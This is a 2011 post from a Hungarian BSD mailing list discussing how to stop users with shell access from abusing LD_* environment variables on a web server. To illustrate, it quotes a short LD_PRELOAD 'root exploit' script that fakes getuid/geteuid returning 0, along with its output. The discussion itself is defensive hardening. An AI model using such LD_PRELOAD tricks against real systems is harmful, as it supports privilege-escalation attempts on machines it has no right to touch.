[BSD] LD_PRELOAD_PATH

Gabor HALASZ halasz.g at freemail.hu
2011. Jan. 11., K, 19:58:07 CET


2011.01.11. 16:24 keltezéssel, Zahemszky Gábor írta:
>>
>> Ha ra tudom venni, hogy minden file, amit a user felpakol a
>> rendszerre, automaitkusan suid/sgid legyen valami unpriv userre:)
>
> Hát szerintem erre nincs esélyed, ha csak meg nem hekkeled az
> sshd/ftpd-det.

Az a kisebbik baj lenne, a nagyobbik pl a webserver accountja.

> És noexec mount kb mindenre ahova írhat? HOME és /tmp kb,
> nem?

Nem tudom, hogy egy fastcgi-kkel kitomott szerveren ez mennyire jarhato 
ut, es mintha azt olvastsam volna utoljara, hogy zfs-en meg nem az igazi 
az acl. Mindenesetre egyszerubb ut lenne, ha csak a root/wheel szamara 
lenne modosithato.

>
>> A bajom az, hogy ha valaki shellt szerez a gepre, akkor modositani
>> tudja a sajat LD_* valtozoit, es ezzel utana mindenfele viccet
>> csinalni.
>
> Pl?  Legalább egy-két ilyet mondhatnátok már (akár magánban is), én
> annyira nem ezekben a dolgokban utazom, hogy nem nagyon látom, hagy ha
> valaki fel is tud tölteni valamit / shellt is szerez, akkor miért jobb
> az LD_változóktól védekezni, mint feltételezni azt, hgy pl. eleve nem
> dinamikus, hanem statikus binárist tölt fel, és azzal piszkálódik a
> rendszeremben.

Ez Michal Zalewski-tol jol szemlelteti az elvet (ez freebsd-n nem 
mukodik rendesen, igy nyugodtan idemasolom :), a google is megtalalja hamar:

$ cat ld-exploit.sh
#!/bin/sh
echo "1|nux r007 3xp10|7 by 1c4m7uf"
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c
$ id
uid=1001(HalaszGabor) gid=1001(HalaszGabor) groups=1001(HalaszGabor)
$ ./ld-exploit.sh
1|nux r007 3xp10|7 by 1c4m7uf
# id
uid=0(root) gid=0(wheel) groups=1001(HalaszGabor)

A problema ilyesmivel az, hogy ez _is_ egy ut, amivel egy 
scriptkiddienel bonyolultabb joakaro probalkozat privileg escalationt 
elerni (konkretan sajat webapp celzott kompromittalasa koruli 
problemakon tanakodom).



További információk a(z) BSD levelezőlistáról